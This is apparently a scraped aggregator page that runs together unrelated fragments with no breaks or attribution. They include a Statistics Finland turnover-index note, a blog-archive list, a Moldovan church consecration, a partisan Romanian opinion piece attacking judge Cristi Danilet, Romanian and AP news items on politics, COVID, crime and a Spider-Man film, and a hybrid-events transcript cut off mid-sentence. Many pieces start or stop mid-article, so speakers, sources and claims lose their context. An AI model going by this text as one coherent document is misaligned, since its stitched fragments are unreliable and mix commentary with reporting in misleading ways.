turnover, export turnover and domestic turnover in manufacturing (BC), 1/2007 to 10/2021, % (TOL 2008) The index of turnover in industry describes enterprises whose main industry is manufacturing. The calculation of the indices is based on the Tax Administrations self-assessed tax data which are supplemented with data obtained with Statistics Finlands sales inquiry. The monthly turnovers of manufacturing enterprises can vary considerably, especially in the metal industries. The variation is mainly due to invoicing practices. The final invoice for major machinery deliveries and projects may be recorded in the sales of one month, even if the delivery had required the work of several months or years. The factors caused by the variation in the number of weekdays are taken into account in adjustment for working days. This means taking into consideration the lengths of months, different weekdays and holidays. In addition, seasonal variation is eliminated from seasonally adjusted series, on account of which it makes sense to compare observations of two successive months as well. The data for the latest month are preliminary and are released at a delay of around six weeks. The data may become significantly revised particularly on more detailed industry levels in coming months. Revisions to the data may be particularly significant on the more accurate industry levels of export turnover and domestic turnover. Source: Index of turnover in industry 2021, October, Statistics Finland Inquiries: Jussi Haavisto 029 551 3341, Heli Suonio 029 551 2481, myynti.teollisuus@stat.fi Head of Department in charge: Katri Kaaja Publication in pdf-format (334.3 kB) Updated 15.12.2021 Referencing instructions: Official Statistics of Finland (OSF): Index of turnover in industry [e-publication]. ISSN=1798-596X. October 2021. Helsinki: Statistics Finland [referred: 6.1.2022]. Access method: http://www.stat.fi/til/tlv/2021/10/tlv_2021_10_2021-12-15_tie_001_en.html Blog Archive Apr 2010 (22) May 2010 (25) Jun 2010 (8) Jul 2010 (12) Aug 2010 (18) Sep 2010 (19) Oct 2010 (29) Nov 2010 (30) Dec 2010 (18) Jan 2011 (13) Feb 2011 (21) Mar 2011 (23) Apr 2011 (19) May 2011 (31) Jun 2011 (36) Jul 2011 (46) Aug 2011 (26) Sep 2011 (12) Oct 2011 (15) Nov 2011 (17) Dec 2011 (7) Jan 2012 (18) Feb 2012 (4) Mar 2012 (12) Apr 2012 (18) May 2012 (10) Jun 2012 (21) Jul 2012 (8) Aug 2012 (15) Sep 2012 (7) Oct 2012 (17) Nov 2012 (20) Dec 2012 (10) Jan 2013 (58) Feb 2013 (59) Mar 2013 (60) Apr 2013 (98) May 2013 (135) Jun 2013 (204) Jul 2013 (293) Aug 2013 (351) Sep 2013 (363) Oct 2013 (348) Nov 2013 (374) Dec 2013 (442) Jan 2014 (547) Feb 2014 (476) Mar 2014 (526) Apr 2014 (527) May 2014 (469) Jun 2014 (408) Jul 2014 (472) Aug 2014 (522) Sep 2014 (443) Oct 2014 (472) Nov 2014 (497) Dec 2014 (536) Jan 2015 (539) Feb 2015 (520) Mar 2015 (582) Apr 2015 (658) May 2015 (679) Jun 2015 (673) Jul 2015 (728) Aug 2015 (803) Sep 2015 (923) Oct 2015 (924) Nov 2015 (802) Dec 2015 (791) Jan 2016 (782) Feb 2016 (835) Mar 2016 (929) Apr 2016 (866) May 2016 (947) Jun 2016 (1044) Jul 2016 (882) Aug 2016 (1035) Sep 2016 (967) Oct 2016 (918) Nov 2016 (854) Dec 2016 (885) Jan 2017 (879) Feb 2017 (777) Mar 2017 (896) Apr 2017 (872) May 2017 (850) Jun 2017 (851) Jul 2017 (971) Aug 2017 (1040) Sep 2017 (998) Oct 2017 (1144) Nov 2017 (1046) Dec 2017 (838) Jan 2018 (873) Feb 2018 (769) Mar 2018 (885) Apr 2018 (809) May 2018 (827) Jun 2018 (820) Jul 2018 (840) Aug 2018 (854) Sep 2018 (844) Oct 2018 (851) Nov 2018 (870) Dec 2018 (912) Jan 2019 (919) Feb 2019 (827) Mar 2019 (957) Apr 2019 (913) May 2019 (1007) Jun 2019 (935) Jul 2019 (950) Aug 2019 (936) Sep 2019 (910) Oct 2019 (920) Nov 2019 (874) Dec 2019 (908) Jan 2020 (941) Feb 2020 (849) Mar 2020 (898) Apr 2020 (848) May 2020 (822) Jun 2020 (789) Jul 2020 (819) Aug 2020 (858) Sep 2020 (841) Oct 2020 (873) Nov 2020 (812) Dec 2020 (780) Jan 2021 (765) Feb 2021 (716) Mar 2021 (819) Apr 2021 (805) May 2021 (815) Jun 2021 (824) Jul 2021 (830) Aug 2021 (832) Sep 2021 (791) Oct 2021 (754) Nov 2021 (683) Dec 2021 (693) Jan 2022 (117) One Orthodox community in the Republic of Moldova is experiencing the joy of finally having their own church. And the Church of Sts. Seraphim of Sarov, Catherine, and John (Maximovitch) in the Chisinau suburb of Floreni was built in just 40 days, basilica.ro reports. His Eminence Metropolitan Petru of Bessarabia blessed the church with holy water on Saturday, December 11, 2021. Emphasizing rector Fr. Gabriel Andrei Gherasas wise and able use of the money raised over the years for the building of the new church, Metropolitan Petru called on the faithful to continue to support him and work together with him in every good deed. In turn, Fr. Gabriel thanked His Eminence and all those who laboured in love to realize the communitys aspirations to have its own church. It is true that we worked hard, but the love you have shown me so many times has made everything easy. All the gratitude belongs to some lovers of the house of God, some of them are with us today, others for blessed reasons are not here, who have endured and have tolerated me with all insistence, the priest said. Following the service, a baldachin for a copy of the Assuage Our Sorrows Icon of the Mother of God and a reliquary with fragments of the relics of Sts. Seraph, Catherine, and John Maximovitch were blessed. The Metropolitan of Bessarabia offered several distinctions to those who supported the construction of the first church in Floreni in such a short time. Among them was Father Florin Aldea from Paltinoasa Parish, Suceava County, who received the Cross of the Metropolis of Bessarabia. Motto: Exercising the office of judge is a duty to the community. And the way it is served must be marked by professionalism. Judges are the elite of the legal world and even of society. Bangalore standards recommend a certain type of behaviour for a magistrate, valid both in and out of the judiciary. The standards are high and they correspond to the noble profession that the judge has, to the granted power that is unmatched. By promoting and maintaining these standards of conduct, the magistrates themselves contribute to strengthening the public's trust in the judiciary, which ensures the continued independence of the justice system and its unwavering authority. - Cristi Danilet, Judge, December 2009, Ethics and Judicial Ethics Trainer - Foreword - Bangalore Standards (translation and adaptation). Instead of the introduction, we briefly mention the fact that the exclusion from the magistracy of the Cluj judge Cristi Danilet caused a storm on the social networks, especially among the USR supporters. This fact confirms two essential things: the fact that USR has magistrates with whom it sympathizes excessively, which until now was only a suspicion, because the justice system should not have much to do with politics, and on the other hand it comes to confirm the popularity of the judge on social media. It would have been interesting to see the litigants mourn his situation, but considering that Mr. Danilet spends more of his time on Facebook, it is somewhat normal. Because we have an ex-military prime minister, the USR quickly adapted to the new approach and activated a kind of NATO Article 5 (an attack on an ally is considered an attack on all) starting to erupt from smallest to the most prominent member, each being more and more argumentative and specialised in law, regarding the grave injustice that has been done to the independent judge, with which they have nothing to do, but to which their principles force them to react. And as the American philosopher Eric Hoffer put it very well - "We lie the loudest when we lie to ourselves", the public defence and victimization propaganda began to build timidly, but with determination. First of all, they offered to the public the class enemies: the judges from the SCM (attention, only those who voted the vile injustice), the Judicial Inspection, the Ministry of Justice, the Government, PSD, PNL, CCR in some places and, of course, Klaus Iohannis. This step is essential, because arguments would be invented in vain if you do not know whom to blame. We will not analyse all the arguments, but one seems to prevail: the fact that the judge was expelled from the judiciary for two videos on TikTok. We all know the videos and, probably, there are more, because Mr. Danilet has delighted us over the years with many funny moments. What Mr. Danilet did not understand is that we did not watch his videos because they were funny, but because it was indeed humorous to see a judge doing such tricks. Returning to the argument of exclusion for two trivial videos, any quick check, even on Google - and I say this because many journalists have fallen into this trap - could elucidate an obvious fact: the judge was sanctioned for drifting from the required conduct imposed on magistrates. And the sanction is even permanently maintained by the HCCJ. It is obvious that we are dealing with a magistrate who is already at his second offense, and the sanctions, as most of us know, are being applied gradually. Cristi Danilet was also sanctioned with a 5% dock in pay for two months for posts on social networks, in which he supported the need for an armed coup. The sanction was maintained by the HCCJ by Decision 62 / 18.05.2020. The judges of the High Court of Cassation and Justice analysed in harsh terms the conduct of Judge Danilet on social networks: Health Minister Alexandru Rafila said on Wednesday, at the end of the government meeting, that the Emergency Ordinance on the implementation of the Romanian entry form for passengers was approved, agerpres reports. "Citizens must fill in this certificate 24 hours before entering Romania. If they fail to do so, they must fill it in - they can go home - within 24 hours, under penalty of a fine, if they not comply with this interval," Rafila said in a press statement at Victoria Palace.According to him, the document is not meant to impede movement, but to allow the rapid location of the contacts of an infected person, so that the Public Health Directorates can carry out epidemiological investigations.The Spokesman of the Executive, Dan Carbunaru, underlined that failure to fill in the digital form is sanctioned with fines between 2,000 and 3,000 lei. The data can be entered into the document by a single adult family member traveling. The form must be completed no later than 24 hours before entering the country and, exceptionally, 24 hours after crossing the border. Carbunaru estimated that the time to fill in the form does not exceed 30 seconds. The document will have to be filled in by those who come to Romania by plane, train or road or naval means of transport.Dan Carbunaru specified that the form provided by STS on the plf.gov.ro platform can be filled in only in electronic format. It will be introduced from December 20. Romanian Police spokesman Georgian Dragan told a news conference on Wednesday about the conflict between Diana Sosoaca and the Italian journalists, that the Senator had complained that the foreign journalists had stolen documents from her law firm and that they allegedly had drugs in their possession, aspects that were not confirmed after the verifications performed by the authorities, agerpres reports. Dragan presented the film of the events of December 10, mentioning that Diana Sosoaca went, alongside her husband, Dumitru Silvestru Sosoaca, to the Police station where the Italian journalists were brought, where she said she was going to file a criminal complaint against them for committing several crimes, among which possibly stealing documents from her law firm and having drugs in their possession."Given the mentioned aspects, according to the legal procedures in force, the police had the obligation to carry out a brief body check and also to check the luggage of the journalists, during which procedure they didn't find the supposed stolen documents or any prohibited substances, so that the accusations resulted to be unfounded, Georgian Dragan explained.According to him, the verifications revealed that the journalists intended to leave the office, a context in which Sosoaca seems to have closed the door and forced them to stay until the police arrived.The IGPR spokesman added that in the four minutes between the moment when the Senator called 112 and until the arrival of the police, the journalists and Sosoaca had a heated discussion, the scandal continuing even after the arrival of the law enforcement officers."The appellant's husband allegedly pushed and grabbed a police officer by the neck and also hit the Italian journalist. Immediately after that, after the intervention, the journalists came out on the staircase of the building, and the conflict ended," Dragan said.Dumitru Silvestru Sosoaca is being prosecuted by the Prosecutor's Office attached to the Capital City District 1 Court, under judicial control, for assault, being accused of hitting a police officer.Senator Diana Sosoaca called 112 on December 10, during an interview she gave to a foreign television team, following a conflict triggered by the questions asked.According to prosecutors, Section 4 police officers went to the location, where the Senator's husband assaulted one of the officers.Dumitru Sosoaca was summoned on Monday to the headquarters of the Prosecutor's Office attached to the District 1 Court, where he was informed that he was placed under judicial control, for a period of 60 days, being prosecuted for assault.Diana Sosoaca was also in front of the Prosecutor's Office on Monday, together with several supporters, the latter having altercations with the journalists in front of the Prosecutor's Office. President Klaus Iohannis said on Wednesday that he would call on the European Partnership Summit to involve the European Union more intensely and more frequently in resolving conflicts affecting partners and give the chance to those who want to do more, giving as an example the Republic of Moldova, agerpres reports. "It is a long-awaited summit, and it is quite clear that there are expectations on both sides. We, in the Union, expect our partners to do what they are committed to doing, for example through association agreements. On their part, of course, there are expectations from the Union to support, assist and guide them. In my address I will ask, among other things, for two things: the first - for the European Union to get involved more, more intensely and especially in resolving conflicts that affect our partners. The second thing refers to the different speed with which our partners move. It is clear that some are moving faster, they are willing to do more, as is the case in the Republic of Moldova, where we have an administration now that is willing to make the necessary reforms and move faster towards the European Union, and my request is in the sense of giving the chance to those who want to do more to do so," the head of state said before attending the Eastern Partnership Summit.He said he would make more remarks on the European Council meeting on Thursday.The Sixth Eastern Partnership Summit is chaired by the President of the European Council, Charles Michel. Participating will be heads of state and government of the EU member states, the leaders of the five partner states - the Republic of Moldova, Ukraine, Georgia, Armenia and Azerbaijan, as well as the President of the European Commission, Ursula von der Leyen, and the EU High Representative for Foreign Affairs and Security Policy, Josep Borrell.A joint Declaration is to be adopted at the summit, which will set out the strategic vision for the post-2020 period of the Eastern Partnership.The head of state is due to attend a European Council meeting on Thursday. President Klaus Iohannis said in Brussels on Wednesday that he would accept the resignation of Minister Florin Roman and appoint Virgil Popescu ad interim minister, agerpres reports. "We have received at the Presidential Administration Mr Minister Florin Roman's resignation. This resignation will be accepted and I shall appoint Mr Minister Virgil Popescu ad interim minister until it is established who will take over this portfolio on a permanent basis," Iohannis said before participating in the Eastern Partnership Summit.He pointed out that the actual documents would be signed upon his return to Romania.Iohannis will participate in the European Council meeting on Thursday.PM Nicolae Ciuca on Wednesday took note of Florin Roman's resignation from the Government and sent President Kaus Iohannis the proposal that Energy Minister Virgil Popescu be appointed interim Minister of Research, Innovation and Digitisation, Government Spokesman Dan Carbunaru informed. President Klaus Iohannis said on Wednesday that Romania upholds several principles for the future of the Eastern Partnership, including that the European aspirations of member countries must be acknowledged and respected, so as their free and sovereign choices. "Romania's approach to the future of the Partnership is based on the following principles: firstly, partners must continue to deliver results in the reform process. Positive differentiation - more for more - offers excellent incentives in unlocking new opportunities. In fact, the potential of our partners' relations with the EU are what their partners are doing with it. Secondly, no results should be ruled out as far as their European integration is concerned, as long as the interested partners continue to perform. We must acknowledge and respect their European aspirations and their free and sovereign choices. Thirdly, the EU must respond to the specific needs and interests of its partners," the head of state said at the Eastern Partnership Summit.President Iohannis also said that the region needs a stronger EU commitment through political support, targeted technical assistance for reforms and adequate funding."The EU should also be more involved in contributing to solutions to protracted conflicts, as Romania has consistently argued. (...) We need to focus on strengthening the resilience of our partners, including by stepping up security cooperation and support in security field and for countering the attempts to undermine our democratic values. The EU's investment in these goals should be seen as an investment in the EU's own resilience," Iohannis said.He stressed that the Republic of Moldova is "a powerful example of what we can achieve if we work together.""We now have a reformist administration in Chisinau with a strong European commitment. I can personally testify after meeting with President Maia Sandu twice in less than four months. They need our help to succeed. It is a chance which we cannot miss - in the interest of the Republic of Moldova, but also of our Eastern Partnership", the head of state specified.Iohannis stated that Belarus' decision to suspend its participation in the Eastern Partnership was regrettable and did not reflect the aspirations of its citizens. The President recalled that last year, together with Poland and Lithuania, he proposed the EU Economic Plan, stating that this was the starting point, "once the conditions for its implementation were met"."The door to our partnership should remain open for a future democratic Belarus," said Klaus Iohannis.The Sixth Eastern Partnership Summit is chaired by the President of the European Council, Charles Michel. The meeting is attended by the heads of state and Government of the EU member states, the leaders of the five partner states - the Republic of Moldova, Ukraine, Georgia, Armenia and Azerbaijan, the President of the European Commission, Ursula von der Leyen, and the EU High Representative for Foreign Affairs. Security Policy, Josep Borrell.A joint declaration is to be adopted at the summit, which will set out the strategic vision for the post-2020 period of the Eastern Partnership.At Wednesday's Eastern Partnership summit, the leaders of Ukraine, Georgia and the Republic of Moldova lobbied for the start of negotiations on their country's accession to the European Union.Within the Eastern Partnership, the EU provides funding, financial assistance and free trade, but not membership status. Approximately 140 pilots and technical personnel from the Italian Air Force and four fighter jets will carry out, in the next four months, Enhanced Air Police missions under NATO command, alongside the Romanian Air Force troops, with the certification ceremony of the Italian detachment taking place on Wednesday, at the 57th Air Base Mihail Kogalniceanu, agerpres reports. According to the Chief of the Defence Staff, General Daniel Petrescu, enhancing the Air Police service by supplementing the air defence capabilities is one of the measures taken in ensuring security on NATO's Eastern flank."The Italian Air Force troops have extensive experience in NATO sky defence missions. In Romania, the 140 soldiers and the four Eurofighter Typhoon aircraft (...) increase the personnel and means of the Romanian Air Force. Enhancing the Air Police service, by supplementing the air defence capabilities both in the Northern part of the Eastern flank, in the Polish area and the Baltic states, and in its Southern part, respectively in Romania and Bulgaria, was among the security measures taken as part of NATO's response to the changing security situation," said Petrescu.Commander of the Italian Military Air Force Major General Francesco Vestito said it was a privilege for the Italian Air Force to participate in the Air Police service with the four Eurofighter aircraft."It is a privilege for the Italian Air Force to be together today, with the Eurofighter component, to defend the sky of Romania and the NATO alliance. It has been almost 6 years since the sky police programme started running. It is a continuous operation, which takes places every day, defending the sky and security of the people. We contribute an entire component and I am very happy to receive this certification. We can't wait to participate in the actions of the sky police. Italy is dedicated to this," said Vestito.Italy's Ambassador to Romania, Alfredo Maria Durante Mangoni, underscored Italy's contribution to ensuring Romania's security in the Black Sea area."Italy is contributing to Romania's security in the strategic Black Sea area, which is a difficult area in terms of security, as it has done for the benefit of other allies on the Eastern flank, by monitoring and pursuing the integrity of the airspace. We are fortunate to have this opportunity to contribute and optimize the use of methods, personnel and professional skills to better protect NATO airspace, to develop interoperability while minimizing cost and also increasing impact, in terms of training standards. This is a good example of cooperation between Romania and Italy, in the broad area of defence," said the Italian diplomat.The Italian detachment, consisting of about 140 soldiers (pilots and technical personnel) and four Eurofighter Typhoon aircraft, will carry out enhanced Air Policing missions under NATO command in the next four months, together with troops belonging to the Romanian Air Force and F-16 Fighting Falcon and MiG-21 LanceR aicraft.The current rotation is the second of the Italian Air Force troops under Mihail Kogalniceanu, after the one in 2019.Joint air police missions contribute to the development of response and deterrence capacity, as well as to the strengthening of interoperability between the Romanian and Italian Air Forces.The deployment of Eurofighter Typhoon aircraft in Romania is part of the implementation of the Action Plan to ensure NATO's operational capability on the Eastern flank of the Alliance in both the Northern and Southern areas and proves NATO's unity and determination in responding to security challenges. More than 60 Dacia Duster cars will endow as of Thursday the 122 "Muntenia" Logistics Brigade within the Joint Logistics Command, the Ministry of National Defence (MApN) informed on Wednesday. The off-road vehicles will be received during an event attended by the Minister of National Defence, Vasile Dincu, and which will take place at the headquarters of the 122 "Muntenia" Logistics Brigade in Bucharest, starting with 12.00, reads MApN release sent to AGERPRES.The Ministry of National Defence purchased 74 Romanian off-road vehicles this year through the Program for Stimulating the Renewal of the National Car Park, which are intended for military police missions and the participation of the Ministry of National Defence personnel in exercises and training activities.Of this batch, 62 cars will endow the 122 'Muntenia' Logistics Brigade within the Joint Logistics Command, and the other 12 will be purchased for the 84th Maintenance and Reception Center, a structure of the Land Forces General Staff."Between 2015 and 2021, 886 Dacia Duster cars were purchased through the Car Renewal Program, of which 457 were in the mosaic color version," the Ministry of Defence states. USR (Save Romania Union) leader Dacian Ciolos said Florin Roman's resignation as Minister of Research was "necessary," and that many of his colleagues "should follow." "Florin Roman is not a victim. Florin Roman is an exponent of the Romanian political class who destroyed what Romania had best. People like him, who did not have the necessary qualifications, who lied and turned imposture into supreme value, forced those who were really competent and honest leave the political arena. His resignation was necessary and many of his colleagues should follow," Ciolos wrote on Facebook.Ciolos added that the "threat" he received from Florin Roman, who announced that he would see him in court, was "ridiculous" and did not impress him, agerpres reports."The fact that he is angry with me for exposing him is proof that these people should no longer be kept in politics. His threat that he will bring me before court is also ridiculous and does not impress me. I know very well that people like him are afraid of justice and I believe that just being in court would give him palpitations. Goodbye, Mr. Florin Roman, and I hope that the rest of your colleagues who are of the same type as you will soon follow your lead and submit resignations too," added Ciolos.Research Minister Florin Roman has resigned from office, saying he was living while holding his "head up.""I have filed my resignation from the minister office today, thanking the prime minister and the government team. When white becomes black, when any word you say is twisted, when you assume material errors, nevertheless lynching attitudes are displayed from the first day of term, it is too much. I don't want this scandal to affect the Executive's activity," Florin Roman wrote on his Facebook page.He added that he would meet Dacian Ciolos in court, who "labelled him as plagiarist without any court or commission issuing a verdict.""I will be meeting the one who has coordinated the topic and the attack, Mr. Dacian Ciolos, in court. He labelled me as plagiarist without any court or commission issuing any verdict. As for the rest, to those who set their eyes on the 2 billion euro for 'connecting' to digitisation in a monopoly regime, I have only one thing to say: you have won! You haven't managed to accuse me of criminal acts, nonetheless you have drove to the resignation of a minister due to CV errors. I am leaving the minister office head high! So help me God!," Florin Roman said. Emirati officials blame an American insistence on restrictions on how and where the F-35s could be used and say they are a violation of the UAEs sovereignty. The State Department said in a statement that the administration remains committed to the proposed sales ... even as we continue consultations to ensure that we have a clear, mutual understanding of Emirati obligations and actions before, during, and after delivery. Pentagon spokesman John Kirby told reporters that U.S. requirements on the use of American-made military equipment are universal, non-negotiable, and not specific to the UAE. The U.S. partnership with the UAE is more strategic and more complex than any one weapon sale, Kirby said. A person familiar with the matter said the U.S. believes the Emiratis move now is a negotiating tactic to try to move the process along. The person, who was not authorized to comment and spoke on the condition of anonymity, said the UAE letter notifying the U.S. of the suspension was written by a relatively low-level official. NEW YORK The banking industry appears to have overdone it on overdraft fees. After decades of raking in billions of dollars from mostly poor Americans short of cash in their accounts, the biggest banks under pressure from lawmakers and regulators are slowly decreasing their reliance on the widely unpopular practice. A number of large banks have taken steps this year that would reduce the amount they take in from overdraft fees, which they charge when customers make payments or withdrawals in excess of their account balance. Capital One, the nations sixth-largest bank, announced last week that it would end all overdraft fees next year. Other banks have made it harder for customers to trigger an overdraft fee. Still, its unlikely the financial services industry will entirely wean itself off such a cash cow anytime soon. For many big banks, overdraft fees are still the steady, reliable, predictable, easy revenue that shareholders love, said Rohit Chopra, director of the Consumer Financial Protection Bureau, in remarks last week where he directed the bureau to more closely examine bank overdraft practices. It shouldnt be out of bounds to mention that the spell cast by Strange rips open the multiverse, and former supervillains pour in, including Doc Ock (Alfred Molina), the Green Goblin (Willem Dafoe) and Electro (Jamie Foxx). Will there be even more visitors from other Spider-Verses? Youll have to turn up at the theater to find out. Peter Parker, in every iteration, has always been a deeply earnest do-gooder, those qualities embodied perhaps most innocently by the youthful Holland. Thats at the emotional core of No Way Home, especially inspired by Peters empathetic Aunt May (Marisa Tomei). These arent his supervillains, so maybe he can send them back where they came from just a bit less villainous? Therein lies the quandary and conundrum of No Way Home: Can you change someones fate? Not without a large sacrifice of your own, it seems. The multiverse approach does indeed liven up the proceedings that can get rather rote over the many, many versions of Spider-Man. Though its curious which tropes have a staying power that goes uncriticized, including the ever-present grayscale airborne CGI climax, and certain emotional beats that are hit time and time again. Watching these repeated moments play out with different actors has a surreal quality, as though we were actually in a multiverse. California lifted its statewide mask mandate on June 15 for people who were vaccinated, a date that Gov. Gavin Newsom heralded as the states grand reopening. But health officials are worried about the spread of the new omicron COVID-19 variant, which health officials believe can spread more easily than the original and delta strains. The virus is particularly hitting the unvaccinated. The new mandate, which will remain in force until at least Jan. 15, also is aimed at reducing the COVID-19 risk when friends and families travel or gather indoors for the holidays. However, officials haven't specified how it will be enforced and have acknowledged that much will depend on voluntary public compliance. After California lifted its statewide indoor mask mandate this summer, county governments covering about half of the states population imposed their own mandates as case rates surged with new variants. The order comes as the statewide seven-day average rate of new coronavirus cases has jumped 47% since Thanksgiving and hospitalizations have risen by 14%, according to the state Department of Public Health. Von der Leyen added that the EU is now facing a double challenge, with a massive increase of cases in recent weeks due to the delta variant combined with the rise of omicron, as some member countries are already confronted with a record number of infections. We're seeing an increasing number of people falling ill, a greater burden on hospitals and unfortunately an increase in the number of deaths," she told European lawmakers ahead of Thursday's meeting of EU leaders in Brussels. Von der Leyen insisted that the increase in infections remains due almost exclusively" to the delta variant. And what I'm concerned about is that we now seeing the new variant omicron on the horizon, which is apparently even more infectious." In Britain, omicron cases are doubling every two to three days and von der Leyen said the new variant seems to be spreading at the same rate in the EU. According to an analysis Tuesday of data from South Africa, where the new variant is driving a surge in infections, omicron seems to be more easily spread from person to person and better at evading vaccines, but also milder. PARIS (AP) French President Emmanuel Macron said he made France's economy stronger and sought to show he is not out-of-touch with ordinary people in a long interview Wednesday night on national television, which appears as a bid to boost his popularity ahead of Aprils presidential election. Macron, who is expected to seek a second term, has yet to formally declare his candidacy. He is under criticism from rivals in the race who say he is already campaigning and is using his presidential status to do so. When I was elected, I loved France, and now I can tell you I love it even more madly. I love the French, Macron said. "These five years have been five years of joy, of hard work, but also of crisis, of periods of doubt. The 43-year-old centrist president, elected in May 2017, answered at length journalists' questions in the sumptuous reception room of the Elysee presidential and its glass roof composed of panels of blue, white and red, an artwork by renowned French artist Daniel Buren. The pre-recorded interview was broadcast in prime time on national television channels TF1 and LCI. The ease of finding an appointment or meeting a specific provider and the chance to get an immediate response were the most common reasons respondents opted for telehealth. Roughly a third said each was a major factor and another third called them minor factors. A majority also cited avoiding COVID-19 exposure as a major or minor reason for seeking care through telehealth, with about a quarter calling it a major reason. Rosa Bivens became a remote care convert during the pandemic partly because it helped her avoid the virus. The 59-year-old Bivens also likes how telehealth allows her to stay connected to her doctor in Maryland while she's on a temporary work assignment in Germany. Bivens is a military family life counselor, and she says her doctor back home understands the stress she faces in her job and how it affects her health. That personal relationship is important to me, she said. The poll found that those who received care through telehealth were generally comfortable with it. Roughly 6 in 10 said they were at least somewhat likely to seek such remote care after the pandemic ends. The opposition Labour Party, meanwhile, backed the rules. Labour health spokesman West Streeting said they were a necessary response to the omicron threat. We cant be sure about the severity of the omicron variant, but we can be certain that its spreading and spreading fast, he said. "When people invoke the story of the boy who cried wolf the warnings that came before but never materialized people should remember that in the end there was a wolf. The rebellion was a sign of growing discontent in Conservative ranks with Johnson. The party picked him to be leader in 2019 because he promised to get Brexit done after three years of gridlock over Britains departure from the European Union under Prime Minister Theresa May. The same promise helped Johnson win a December 2019 election with an 80-seat majority in the House of Commons, the biggest for any Conservative leader since Margaret Thatcher in the 1980s. Since then the pandemic and a series of scandals have chipped away at the support for Johnson and his government. Johnsons initial reluctance to impose a nationwide lockdown in early 2020 helped give the U.K. the highest coronavirus death toll in Europe apart from Russia, with more than 146,000 deaths. Demario R. Hunter admitted shooting Sapone, 48, during an attempted carjacking on Cherokee Street on March 18, 2019. Hunter's plea says he and Surrayah Hill drove to the area from East St. Louis and they then recruited Hill's cousin, Keombra Auray James, to help rob people. Sapone was on his way to dinner with his fiancee when Hunter approached. Sapone was shot during a struggle with Hunter, who then stole Sapone's cell phone and wallet, which had no cash. James unsuccessfully tried to get into the driver's seat of the couple's Ford Escape, but Sapones fiancee fought him off, the plea says. Prosecutors recommended a life term calculated at 30 years plus a consecutive term of 15 years in exchange for his pleas. He is scheduled to be sentenced by Vincent in February. The judge has the discretion to sentence Honkomp to up to six life terms for his crimes. About 8:15 p.m. on Feb. 24, 2020, Honkomp used a 9 mm pistol to kill Lucas, 45, at the facility where more than 150 people, including many children, were at the time. Honkomp was wounded by Maryland Heights Officer Larry Jerrod, who confronted him in the lobby. Jerrod was in the parking lot of the center at 2300 McKelvey Road about 8:15 p.m. when someone alerted the officer to a man openly carrying a handgun in the lobby, authorities said. Police said Jerrod rushed inside the complexs first set of glass doors and encountered Honkomp, who fired at him through a second set of glass doors. Honkomp and Jerrod exchanged more than 40 rounds. Jerrod wasnt hurt nor were any of the people who sought safety inside the complexs closets and workout rooms and at nearby homes and businesses. She pointed to past rulings by the 9th U.S. Circuit Court of Appeals in San Francisco that have established a zone of interests that NEPA protects as being environmental and that purely economic interests" do not qualify. Fernleys interests are economic, not environmental and they therefore fall outside the "zone of interests NEPA was designed to protect, Du said. Du said the law applies only if the plaintiff demonstrates that the environmental health of its land interests is threatened by the agencys action. Fernley argued that cutting off the canal recharge of the water table effectively constitutes harm to the physical environment. But Du said that the townspeople's argument is ultimately unpersuasive because it overlooks who they are: groundwater users who ... are concerned about having less groundwater available to use for domestic and commercial purposes. WhiIe there is no question that it will be expensive and perhaps difficult for Fernley ... to procure alternate sources of water when defendants proceed with their challenged plan, a NEPA claim is not the appropriate vehicle for them to block (the) plan, she wrote. Dressed in a light green prison uniform, Martinelli Linares repeated, Yes, your honor to questions posed to him during Tuesday's court proceeding by U.S. District Judge Raymond Dearie. Both brothers are being held without bail. Prosecutors said that an earlier attempt to finalize a plea bargain fell apart in June 2020 when the brothers slipped across the U.S. border, traveled to the Bahamas by boat, and then boarded a private jet in an attempt to return to Panama. When the plane was turned away due to COVID-19 travel restrictions, they ended up in several Central American countries before entering Guatemala on invalid diplomatic credentials. They were arrested there, on an arrest warrant issued out of New York, when they attempted to board a private family jet, set to fly to Panama. They spent more than a year in a Guatemalan prison, before being extradited to the U.S. An attorney for Luis Enrique Martinelli Linares, 39, said last month that the brothers fled because the U.S. government did not provide them with protection from deportation while they were negotiating a plea bargain. Thanks to all of the political discord and divergence we have witnessed this year, my Christmas spirit has been nearly obliterated. I suspect its the same for many other people as well. Locally, our politicians have been wreaking havoc over issues of mandates about masks and vaccinations, stoking rage and emboldening people to make threats and act upon them. The landscape nationally is even worse as no one seems willing to depoliticize their own interests for the greater good. Even disregarding natural catastrophes, it seems that every article on the news is more terrifying and horrific than the one before. What can we do to restore the holiday spirit and help squelch the depression that affects so many around the holidays? Sometimes you just need to find the funny. Keep your trove of Hallmark movies, and Its a Wonderful Life. I need gleefully funny. National Lampoons Christmas Vacation would be a good start. Is the Christmas special by the California Raisins available anywhere? That was funny, and those singing Raisins were outstanding. Or how about the one with the Chipmunks? When I was young, everyone had the Christmas song by Alvin and the Chipmunks. Shares is the leading weekly publication for retail investors. It is packed with investment ideas, news and educational material to help build and run portfolios and get more from your money. Shares puts on free Investor Events throughout the year across the country. They provide an opportunity for investors to learn more about companies on the stock market and hear from a range of investment experts including fund managers and Shares journalists. Do Hybrid Events Work for the Online Audience? 090 Media Head of Operations discusses the value of the viewing experience for remote viewers of hybrid live events, the challenges of serving both in-person and off-site live audiences effectively, and what it means for the future of hybrid live events as currently constituted in this clip from Streaming Media West Connect 2021. Page 1 Learn more about hybrid event streaming at Streaming Media East 2022. Read the complete transcript of this clip: Eric Schumacher-Rasmussen: I don't think hybrid events are going away, because there's all sorts of business and other motivations for them. But do they actually work, Alex? I know you have some thoughts on this. Alex Lindsay: Well, they largely work for the in-room audience. We've had the opportunity to spend have all kinds of budgets from everything from $5,000 to $500,000 for a hybrid event over the last decade, and we've really got to all these permutations of how to build it and how to make it work. And what I will say is that it is extremely challenging to have a hybrid event work for the online audience. That can be the livestream doesn't work. Putting cameras in the back does not work for the online audience. When I say it doesn't work, we're measuring average view time. Average view time is all that matters. When we look at these things, how long did someone stay when they got there? Marketing can fix the number of people that are there, but our job as event producers is to keep them in the room. And if you look at if you look at hybrid events, you're talking sometimes in small, low minutes. For your all-day event, you might see an average view time of 10 minutes or 15 minutes. People just leave because they feel like they're outside of it. Fundamentally, the problem is that when you put one person in the room, you are fighting a million years of evolution. The speaker is going to look at that person. They're gonna play to that person. They're gonna play to that audience. Essentially, they're gonna put the online audience in the kiddie table--that kiddie table that we used to sit at at Thanksgiving. That's where we all sit. Now, people are not gonna complain. They're not gonna send you emails, but they just don't feel like they're connected. And that is a devastating thing to do to your event. And it's a devastating thing to do to your audience because you don't see it. You don't see people being upset. They just don't wanna come back the next time or they don't come back the next day. That's what we see for instance, in a lot of two or three days of hybrid events. You see a drop-off in attendance that is generally between 60 and 80% because people just stop coming. They 